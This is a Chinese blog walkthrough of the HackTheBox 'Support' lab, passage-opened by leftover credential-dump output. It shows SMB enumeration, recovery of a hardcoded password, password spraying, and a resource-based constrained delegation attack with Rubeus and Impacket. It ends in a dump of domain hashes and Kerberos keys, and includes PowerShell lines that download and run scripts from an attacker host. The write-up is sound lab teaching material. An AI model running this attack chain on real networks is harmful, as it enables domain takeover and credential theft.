anderson.damian:des-cbc-md5:329ee6d3405834e5
thomas.raphael:aes256-cts-hmac-sha1-96:c1c5ec89304832e7bbbc3cc2a108671df6464bd5989e8156e84e540bcac12ac0
thomas.raphael:aes128-cts-hmac-sha1-96:e5212c20b62c46245fc7e3843b4db754
thomas.raphael:des-cbc-md5:8c2064c4e975e31c
levine.leopoldo:aes256-cts-hmac-sha1-96:f3f471fa904dafa639d562b713ca57d6668e8e58c4838490e1e038f70e86fabb
levine.leopoldo:aes128-cts-hmac-sha1-96:3b8c7b502154308728e6092a0c524190
levine.leopoldo:des-cbc-md5:0464734a207f5d04
raven.clifton:aes256-cts-hmac-sha1-96:5ead58d4439aa8e64ce828f628629b0798c192f9925908670779a212178bce70
raven.clifton:aes128-cts-hmac-sha1-96:a3862f3e0c9096d735eb9e075b46ed9e
raven.clifton:des-cbc-md5:b6252651b01ff452
bardot.mary:aes256-cts-hmac-sha1-96:54123fcaa07765a4d8136cf95cff67173d31d6c049f1d0936cb33c257aab20c5
bardot.mary:aes128-cts-hmac-sha1-96:a941571a50d40fa5771c8deffa44a501
bardot.mary:des-cbc-md5:bc79e0a8f7dfdc10
cromwell.gerard:aes256-cts-hmac-sha1-96:397983e21a3742e1d9c53bd51570a89dfdb9b79cfc15eb294500e16eee9c5a0c
cromwell.gerard:aes128-cts-hmac-sha1-96:a495521b2d0992a21d0cd6b968dbb042
cromwell.gerard:des-cbc-md5:0e2f37ae7c58310b
monroe.david:aes256-cts-hmac-sha1-96:13dd6e3f424e0e3b394964ceaf9f739c19a680c97648b1531b8e417012d9775d
monroe.david:aes128-cts-hmac-sha1-96:a15fd3bccfb2e7ead3bdf2fe4c47f355
monroe.david:des-cbc-md5:a86b5829047f2557
west.laura:aes256-cts-hmac-sha1-96:54a3167b1c9ee166874a6b09b08621394b049197270d4b754e8fedb78ee86b88
west.laura:aes128-cts-hmac-sha1-96:864381e434a5856d85c1f61bc8726378
west.laura:des-cbc-md5:8a923480ec7cd9d3
langley.lucy:aes256-cts-hmac-sha1-96:f2415b075b6e205864de19917a9989398672b062dad29d58af177d358e086998
langley.lucy:aes128-cts-hmac-sha1-96:20cdc3297fc8138726e34e45ba9f73d6
langley.lucy:des-cbc-md5:fd738a3dd0028fb0
daughtler.mabel:aes256-cts-hmac-sha1-96:7ce8f29915849ec300bd81341759d19c67e045501e1ee7e198fe37a7ee51af8d
daughtler.mabel:aes128-cts-hmac-sha1-96:791efedf5473d798dbc3267ce6d045aa
daughtler.mabel:des-cbc-md5:01ba80795bbc3ea8
stoll.rachelle:aes256-cts-hmac-sha1-96:d9cca58315e797cdb21ca8ad71278112357291a970a90084586a38d4c5ff38c2
stoll.rachelle:aes128-cts-hmac-sha1-96:c7768011ce94e18fae341bdfb5223bc3
stoll.rachelle:des-cbc-md5:b63d15683434b38f
ford.victoria:aes256-cts-hmac-sha1-96:de0a90f4f874ebb0937df96bc14308dcbb54835ac622ad16b79cf9509313f205
ford.victoria:aes128-cts-hmac-sha1-96:2241c9137590e4bde952ac411a1c22c6
ford.victoria:des-cbc-md5:13d573730ba8641f
DC$:aes256-cts-hmac-sha1-96:19f5843b12c792426c992fab1578af841fa2f1f17a28244e7ff609f1f92cd57b
DC$:aes128-cts-hmac-sha1-96:4d0df9e45f488ee5538c20fe1a4b8b8c
DC$:des-cbc-md5:ce0146e668b90b79
st4rry$:aes256-cts-hmac-sha1-96:355a848628ba03d4f0674aa8a05ddfed2a4b6d248b25bd406308cac19fe6472f
st4rry$:aes128-cts-hmac-sha1-96:00525d527fc6b1628a0073fc4cb06455
st4rry$:des-cbc-md5:8abfb3dace070716
esteesminuevopc$:aes256-cts-hmac-sha1-96:93b89d09f974bb176195d6e1ad85014e8b053ec36f8d39ffb6e325f4aeb21e1e
esteesminuevopc$:aes128-cts-hmac-sha1-96:5295a6e8b9b0237d9da977d9ad8c31d2
esteesminuevopc$:des-cbc-md5:fb04b315cdd9d640
[*] Cleaning up...

Last modification：April 10, 2024

请我喝瓶冰阔落吧

HackTheBox Support (RBCD学习)

cheng • 2024 年 04 月 09 日

<p><img src="http://jzcheng.cn/usr/uploads/2024/04/1592609234.png" alt="2024-04-09T02:01:50.png" title="2024-04-09T02:01:50.png" style=""></p><table><thead><tr><th>靶机信息</th><th> </th></tr></thead><tbody><tr><td>系统</td><td>Windows</td></tr><tr><td>IP</td><td>/</td></tr><tr><td>难度</td><td>Easy (不会)</td></tr><tr><td>地址</td><td><span class="external-link"><a class="no-external-link" href="https://app.hackthebox.com/machines/Support" target="_blank"><i data-feather="external-link"></i>https://app.hackthebox.com/machines/Support</a></span></td></tr></tbody></table><blockquote>C#/Net 反编译<br>基于 Kerberos 基于资源的约束委派攻击</blockquote><h1>端口扫描</h1><pre><code class="lang-bash">PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-08 07:11:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         Microsoft Windows RPC
49711/tcp open  msrpc         Microsoft Windows RPC
49747/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows</code></pre><h1>SMB_445 匿名登陆</h1><p><code>smbclient</code>和<code>smbmap</code>等</p><pre><code class="lang-bash">└─\ ✨ smbclient -L \\10.129.230.181 -N

Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
└─\ ✨ smbmap -u ' ' -p '' -H 10.129.230.181
[+] IP: 10.129.230.181:445      Name: 10.129.230.181            Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        support-tools                                           READ ONLY       support staff tools
        SYSVOL                                                  NO ACCESS       Logon server share</code></pre><p>重点关注<code>support-tools</code>共享文件夹</p><pre><code class="lang-bash">└─\ ✨ root@Kali /m/e/h/Support# smbclient -N \\\\10.129.230.181\\support-tools -c 'dir'
  .                                   D        0  Thu Jul 21 01:01:06 2022
  ..                                  D        0  Sat May 28 19:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 19:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 19:19:55 2022
  putty.exe                           A  1273576  Sat May 28 19:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 19:19:31 2022
  UserInfo.exe.zip                    A   277499  Thu Jul 21 01:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 19:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 19:19:43 2022

4026367 blocks of size 4096. 957553 blocks available</code></pre><p>将<code>UserInfo.exe.zip</code> 下载到本地,解压查看文件类型</p><pre><code class="lang-bash">$ root@Kali /m/e/h/Support# file userinfo/UserInfo.exe
userinfo/UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections</code></pre><p>通过询问ai得知这可能是使用C#或者.Net编写的程序 (IDA Pro无法反编译,或者说反编译的不彻底)</p><h2>反编译程序</h2><p>可以使用<strong>ILSpy</strong>进行反编译,通过github下载<br>需要注意如下代码,虽然不懂csharp,但还是能看个大概流程,对enc_password进行base64解码存为数组,依次与key进行异或<br>![[htb_support_ILSpy.png]]<br>使用Python编写代码</p><pre><code class="lang-python">from base64 import b64decode
enc_password = &quot;0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E&quot;;
key = b&quot;armando&quot;
password = b64decode(enc_password)
# print(password)
a =[i for i in range(36)]
for i in range(len(password)):
    a[i] = password[i] ^ key[i % len(key)] ^ 0xDF
for i in a:
    print(chr(i), end='')</code></pre><p>运行结果为<code>nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz</code>,这是ldap的凭据<br>验证</p><pre><code class="lang-bash">root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --shares
SMB         10.129.230.181  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.129.230.181  445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 
SMB         10.129.230.181  445    DC               [*] Enumerated shares
SMB         10.129.230.181  445    DC               Share           Permissions     Remark
SMB         10.129.230.181  445    DC               -----           -----------     ------
SMB         10.129.230.181  445    DC               ADMIN$                          Remote Admin
SMB         10.129.230.181  445    DC               C$                              Default share
SMB         10.129.230.181  445    DC               IPC$            READ            Remote IPC
SMB         10.129.230.181  445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.230.181  445    DC               support-tools   READ            support staff tools
SMB         10.129.230.181  445    DC               SYSVOL          READ            Logon server share</code></pre><p>顺便收集一波用户名</p><pre><code class="lang-bash">root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users
SMB         10.129.230.181  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.129.230.181  445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 
SMB         10.129.230.181  445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.129.230.181  445    DC               Administrator                 2022-07-19 17:55:56 0       Built-in account for administering the computer/domain
SMB         10.129.230.181  445    DC               Guest                         2022-05-28 11:18:55 0       Built-in account for guest access to the computer/domain
SMB         10.129.230.181  445    DC               krbtgt                        2022-05-28 11:03:43 0       Key Distribution Center Service Account    
SMB         10.129.230.181  445    DC               ldap                          2022-05-28 11:11:46 0        
SMB         10.129.230.181  445    DC               support                       2022-05-28 11:12:00 0        
SMB         10.129.230.181  445    DC               smith.rosario                 2022-05-28 11:12:19 0        
SMB         10.129.230.181  445    DC               hernandez.stanley             2022-05-28 11:12:34 0        
SMB         10.129.230.181  445    DC               wilson.shelby                 2022-05-28 11:12:50 0        
SMB         10.129.230.181  445    DC               anderson.damian               2022-05-28 11:13:05 0        
SMB         10.129.230.181  445    DC               thomas.raphael                2022-05-28 11:13:21 0        
SMB         10.129.230.181  445    DC               levine.leopoldo               2022-05-28 11:13:37 0        
SMB         10.129.230.181  445    DC               raven.clifton                 2022-05-28 11:13:53 0        
SMB         10.129.230.181  445    DC               bardot.mary                   2022-05-28 11:14:08 0        
SMB         10.129.230.181  445    DC               cromwell.gerard               2022-05-28 11:14:24 0        
SMB         10.129.230.181  445    DC               monroe.david                  2022-05-28 11:14:39 0        
SMB         10.129.230.181  445    DC               west.laura                    2022-05-28 11:14:55 0        
SMB         10.129.230.181  445    DC               langley.lucy                  2022-05-28 11:15:10 0        
SMB         10.129.230.181  445    DC               daughtler.mabel               2022-05-28 11:15:26 0        
SMB         10.129.230.181  445    DC               stoll.rachelle                2022-05-28 11:15:42 0        
SMB         10.129.230.181  445    DC               ford.victoria                 2022-05-28 11:15:58 0   </code></pre><h1>LDAP_389</h1><p>ldapsearch不会用<br>使用<code>windapsearch.py</code>进行ldap信息收集</p><pre><code class="lang-bash">$ python3 /opt/windapsearch/windapsearch.py -d support.htb -u 'support\ldap'  -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --dc-ip 10.129.230.181 -U --full &gt; ldap.out</code></pre><p>在文件中找到了info字段<code>info: Ironside47pleasure40Watchful</code><br>应该是一个密码,进行密码喷洒</p><h1>密码喷洒</h1><pre><code class="lang-bash">$ root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u username -p password --continue-on-success
SMB         10.129.230.181  445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
SMB         10.129.230.181  445    DC               [+] support.htb\support:Ironside47pleasure40Watchful</code></pre><h1>GetShell</h1><p>对新获得凭据跑一下<code>winrm</code></p><pre><code class="lang-bash">root@Kali /m/e/h/Support# nxc winrm 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful' 
WINRM       10.129.230.181  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
WINRM       10.129.230.181  5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)</code></pre><p><strong>Pwned</strong><br>使用<code>evil-winrm</code>进行连接,桌面上获得user flag</p><pre><code class="lang-bash">evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful</code></pre><h1>GenericAll 提权</h1><p>既然有了凭据,那就遛个狗先</p><pre><code class="lang-bash">$ bloodhound-python -c all -d support.htb -u support -p 'Ironside47pleasure40Watchful' -ns 10.129.230.181 --zip</code></pre><p><strong>GenericAll on Computer</strong>: 用户在计算机上具有 GenericAll 权限</p><h3>使用powershell脚本</h3><p><img src="http://jzcheng.cn/usr/uploads/2024/04/632998898.png" alt="2024-04-09T02:02:42.png" title="2024-04-09T02:02:42.png" style=""></p><blockquote>参考教程: <span class="external-link"><a class="no-external-link" href="https://www.youtube.com/watch?v=BAEfEdNWij0" target="_blank"><i data-feather="external-link"></i>https://www.youtube.com/watch?v=BAEfEdNWij0</a></span><br><span class="external-link"><a class="no-external-link" href="https://www.rotta.rocks/active-directory/god-access/genericall-abuse" target="_blank"><i data-feather="external-link"></i>https://www.rotta.rocks/active-directory/god-access/genericall-abuse</a></span><br><span class="external-link"><a class="no-external-link" href="https://www.thehacker.recipes/a-d/movement/dacl" target="_blank"><i data-feather="external-link"></i>https://www.thehacker.recipes/a-d/movement/dacl</a></span><br>使用<strong>Impacket</strong> <span class="external-link"><a class="no-external-link" href="https://github.com/tothi/rbcd-attack" target="_blank"><i data-feather="external-link"></i>https://github.com/tothi/rbcd-attack</a></span></blockquote><pre><code class="lang-powershell"># 导入ps1
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.92:8000/PowerView.ps1')
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.92:8000/Powermad.ps1')
# 创建新的计算机账户,用户名为 &quot;st4rry&quot;,密码为 &quot;abc1234!&quot;
New-MachineAccount -MachineAccount st4rry -Password $(ConvertTo-SecureString 'abc1234!' -AsPlainText -Force)
# 获取名为 &quot;st4rry&quot; 的域计算机对象的安全标识符（SID）。
$ComputerSid = Get-DomainComputer st4rry -Properties objectsid | Select -Expand objectsid
# 创建一个安全访问控制描述符（SDDL）
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))&quot;
# 创建了一个新的字节数组，其长度与安全访问控制描述符对象的二进制表示长度相同。
$SDBytes = New-Object byte[] ($SD.BinaryLength)
# 将安全访问控制描述符对象转换为二进制形式，并将结果存储在之前创建的字节数组中。
$SD.GetBinaryForm($SDBytes, 0)
# 将给定计算机对象的 `msds-allowedtoactonbehalfofotheridentity` 属性设置为特定的二进制值。
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# 生成密码 &quot;abc1234!&quot; 的哈希值。
.\Rubeus.exe hash /password:abc1234!
# 调用了 Rubeus 工具，并使用其 s4u（Service for User）子命令执行身份冒充攻击（Impersonation）
Rubeus.exe s4u /user:st4rry$ /rc4:461E9338B161C8B8A88B3F0A002DAF57 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt</code></pre><p>运行结果如下:</p><pre><code class="lang-powershell">*Evil-WinRM* PS C:\Users\support\Documents&gt; .\Rubeus.exe s4u /user:st4rry$ /rc4:461E9338B161C8B8A88B3F0A002DAF57 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

v2.2.0

[*] Action: S4U

[*] Using rc4_hmac hash: 461E9338B161C8B8A88B3F0A002DAF57
[*] Building AS-REQ (w/ preauth) for: 'support.htb\st4rry$'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

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      C1NVUFBPUlQuSFRCqSAwHqADAgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0Yg==

[*] Action: S4U

[*] Building S4U2self request for: 'st4rry$@SUPPORT.HTB'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2self request to ::1:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'st4rry$@SUPPORT.HTB'
[*] base64(ticket.kirbi):

doIFojCCBZ6gAwIBBaEDAgEWooIEwTCCBL1hggS5MIIEtaADAgEFoQ0bC1NVUFBPUlQuSFRCohQwEqAD
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      dDRycnkk

[*] Impersonating user 'administrator' to target SPN 'cifs/dc.support.htb'
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2proxy request to domain controller ::1:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':

doIGYDCCBlygAwIBBaEDAgEWooIFcjCCBW5hggVqMIIFZqADAgEFoQ0bC1NVUFBPUlQuSFRCoiEwH6AD
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      G5STlsKiv/48Jp9WVvEa6GQ0pzSeIvSi5BvbJZUB7M2b0ycXFbrqbCVD3rJRwofIJYCfTdqvOHGFDJyw
      5Ff/jRYhPQUyPKu9sMZy4mEuR4fyc6sQsyh0xZ877ygsMveZ/h0YTVVWCcIPoKfiSk6tkjTPi8+ZfNqV
      49lhqslhDsnte0zJQlsg7qaQ+uamsW2FTlD9KMmlh70Ov13XY8KFdo4rA1fdn4widVKpzZc5mQ53+Pd6
      oztFGiYpMk8qs4NSPAZIgpJSBe8ztYS2P43Z3YzPzTlmScNpwgUbKQMNrP4B7EEGJHpDZje3TF5Yc5qS
      tz0xwkfK9Jz7ToG/FXIczT8Xp/a8qpaL+Omw91DI+dslIGamaJl+HFpNkM+OkWCbZV1Sp84UyID3cnl7
      gsTZyDqtJwbQekzm565AIcrIi4ST9/kS3h9DU5N6N+wTQJ4d4X364sCTNZVOTQYJ+bkgn2P+lo8Wfv2J
      NqLUJJ2dFH9A3AFqQszmXE026oRwGRELcfx2BDLc1edOT9IRJzo/RPxY8acLp92B7usiRSEO7hRWpxyx
      sL876dctAYvN/3FmrOQ1XLp+fWKkFjxNPesippTR9cnQSfqkpQLRh1A5FcfYXEaGfoPdkYVleppebyTD
      F/BBJV+E/wKx0U9OOwAv2VaQmtKWpn7p0W1J9vQEX2xs7tKladFM2TD7gs3+MRDMRtdUEN+84DLQIbya
      lO6UvKqSukxJZG2okw4TOWVTjBfr8CtCHRCx1FkSFji2mv63NsGKgyoFYh5WGdvd4AWLR9gbyEVw1jc9
      KJncZMt4l3vey0r9Q1WF1ZZ+Ps64Q4c3nojG0gGt3StRTMILHRXsYhLP/RZ10MrkuL2iI2/i3NPGDaIm
      rCsY928wkBH562jSp3sbQfcaPphNDsfuWyfeAZopQQnh6UozMymXuCqw9UWIKieWN1pnz14j0MT1AQBH
      xzx7+s59EFrnF4bH8EbMYugsGrjp2ozYE+LAwYAt5tLxJ//n3oJdauN/iNAzUpPNr/riQQ0VP+BN+w+B
      nPft9kYPK1uZuf9HXd6OJotZMGglRM47znH3Mdm6Qpi6J5bDviteDs2M76rFPvQWoRtYymIgdvvn6vd4
      7DzZWn+2uqwmUZ5BISlYTshPxyVhxhbq4mXnb7uESYTgxhziIKx6fsiAo8aKCNMFCWhhF1rjWIYil3hu
      cw99B6EPAqGurW+qDMzwpwQ8rxO2if7TEwkIARlbsXT1N6iJj0LSEpWomXtrx5rt7cKnXuD85wubIK7s
      QGsVer8zFmgKnLPpCRCb4PKZ8LZgvT7E9DuIMz+Ka7x+KCiL3k1zQzDS+Ky9P5UvEBnW0rMGG4NLjmd+
      BQwit0v7Owh0Ro00qFrHV4B4VO+GiXJLpQH6UpcqKfp7XkLQo4HZMIHWoAMCAQCigc4Egct9gcgwgcWg
      gcIwgb8wgbygGzAZoAMCARGhEgQQFqCdZgSo3e7MLhykpdhQe6ENGwtTVVBQT1JULkhUQqIaMBigAwIB
      CqERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDA0MDgxMDQ3MzhaphEYDzIwMjQwNDA4
      MjA0NzM4WqcRGA8yMDI0MDQxNTEwNDczOFqoDRsLU1VQUE9SVC5IVEKpITAfoAMCAQKhGDAWGwRjaWZz
      Gw5kYy5zdXBwb3J0Lmh0Yg==
[+] Ticket successfully imported!</code></pre><p>对<code>[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':</code>下的数据进行处理:<br>删除多余的空格与换行,进行base64解码,存到文件ticket.kirbi中<br>使用<code>ticketConverter.py</code>将其转换为<code>.ccache</code></p><pre><code class="lang-bash">$ ticketConverter.py ticket.kirbi ticket.ccache   (kali不支持kirbi格式,仅Windows支持)</code></pre><p>设置环境变量<code>export KRB5CCNAME=ticket.ccache</code><br>然后就可以GetShell</p><pre><code class="lang-bash">psexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP
smbexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP
wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP</code></pre><h3>使用 <strong>Impacket</strong> 进行</h3><pre><code class="lang-bash"># 向其添加新的计算机账户 koi 
addcomputer.py -computer-name 'koi$' -computer-pass 'abc1234!' -dc-ip 10.129.49.22 support.htb/support:Ironside47pleasure40Watchful
# 设置 Kerberos RBCD（基于资源的受限委派）攻击中的属性 msDS-AllowedToActOnBehalfOfOtherIdentity。
rbcd.py -action write -delegate-from 'KOI$' -delegate-to 'DC$' -dc-ip 10.129.49.22 support.htb/support:Ironside47pleasure40Watchful
# 获取 Kerberos 服务票据（Service Ticket）
getST.py -spn cifs/DC.support.htb -impersonate administrator -dc-ip 10.129.49.22 support.htb/koi$:abc1234!
# 设置环境变量
export KRB5CCNAME=admin.ccache
# 获取shell
psexec.py -k -no-pass support.htb/Administrator@dc.support.htb</code></pre><p>成功利用后,再次遛一下狗<br><img src="http://jzcheng.cn/usr/uploads/2024/04/3312442108.png" alt="2024-04-09T02:03:41.png" title="2024-04-09T02:03:41.png" style=""></p><h1>dump Hash</h1><pre><code class="lang-powershell">root@Kali /m/e/h/Support# secretsdump.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.129.230.181 
Impacket v0.12.0.dev1+20240208.120203.63438ae7 - Copyright 2023 Fortra

[*] Target system bootKey: 0xf678b2597ade18d88784ee424ddc0d1a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
SUPPORT\DC$:plain_password_hex:1601d56ea93a92a97972f9fa504806072db46ecc2ad139a0b223f067987e1c3c4284a85c572ef9eba5d97e6b8aeb36bf648ab79e8a951d33f1556d7e9ac8993881c10cf73da86b4217e3e4ac8d10a61ba29da4bc664fd761afafd86bcff7e76181eb1a83640e85196d6f1303372a57e237e4032ec815484f406dce9302f35b1e88d60ea01066d11f972b6a720a51476024dfcfbf7ea06e41d8a7bd392646c7e30802c2eb6f011b847eb2d481a849f48b6547ef367b39626e50af71ea4dbbbc0079ddeb2891aba6c1dbc8de0ba162d80587bc9e08b45b9e01044ad135b74213d8331e3dab75bff5f93b3c7e81e3658d24
SUPPORT\DC$:aad3b435b51404eeaad3b435b51404ee:de2479619d2dc3c3e79b327ee5de246a:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x5f39b9187072640dd3b9ebc53cdcbd2cda166279
dpapi_userkey:0xc98d4a2ff3c17181eaaad459d6383cff7c72bc2d
[*] NL$KM 
 0000   D7 80 3F C7 76 67 B3 22  E7 C9 9B 98 33 D7 F1 A4   ..?.vg.&quot;....3...
 0010   E9 EE B2 38 B7 E0 34 5F  12 36 AB 44 F2 4F 75 7D   ...8..4_.6.D.Ou}
 0020   56 22 0F 0F 3C 2D 2E 4C  E6 FD 61 01 63 A4 32 B4   V&quot;..&lt;-.L..a.c.2.
 0030   CE 66 7B DB E7 CF 28 F8  4C 9E 9C 46 A0 61 1B 8B   .f{...(.L..F.a..
NL$KM:d7803fc77667b322e7c99b9833d7f1a4e9eeb238b7e0345f1236ab44f24f757d56220f0f3c2d2e4ce6fd610163a432b4ce667bdbe7cf28f84c9e9c46a0611b8b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe:::
support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d:::
smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
hernandez.stanley:1107:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
wilson.shelby:1108:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
anderson.damian:1109:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
thomas.raphael:1110:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
levine.leopoldo:1111:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
raven.clifton:1112:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
bardot.mary:1113:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
cromwell.gerard:1114:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
monroe.david:1115:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
west.laura:1116:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
langley.lucy:1117:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
daughtler.mabel:1118:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
stoll.rachelle:1119:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
ford.victoria:1120:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:de2479619d2dc3c3e79b327ee5de246a:::
st4rry$:6101:aad3b435b51404eeaad3b435b51404ee:461e9338b161c8b8a88b3f0a002daf57:::
esteesminuevopc$:6102:aad3b435b51404eeaad3b435b51404ee:dc2d7e8252c461ee9dc0cf6b7766ad36:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f5301f54fad85ba357fb859c94c5c31a6abe61f6db1986c03574bfd6c2e31632
Administrator:aes128-cts-hmac-sha1-96:678dcbcbf92bc72fd318ac4aa06ede64
Administrator:des-cbc-md5:13a8c8abc12f945e
krbtgt:aes256-cts-hmac-sha1-96:21f4a7ed00009605ac5182a3d607d25447f48a3f13fbf60912f1e863a70d7141
krbtgt:aes128-cts-hmac-sha1-96:e963352bcdd503ddc3017a2afd620ccb
krbtgt:des-cbc-md5:70b3fdaefe454ad5
ldap:aes256-cts-hmac-sha1-96:f54423bd0d85939de61519c02fad691596f47c0a34cdf0983131bb962ee6ae7a
ldap:aes128-cts-hmac-sha1-96:0447dc15751883c29d9f450acc95db3d
ldap:des-cbc-md5:2ada4ccbcbceb901
support:aes256-cts-hmac-sha1-96:ada63670275687524019008a737c3b57cbf2d1be9eb08a60954a3dcb9268f4e4
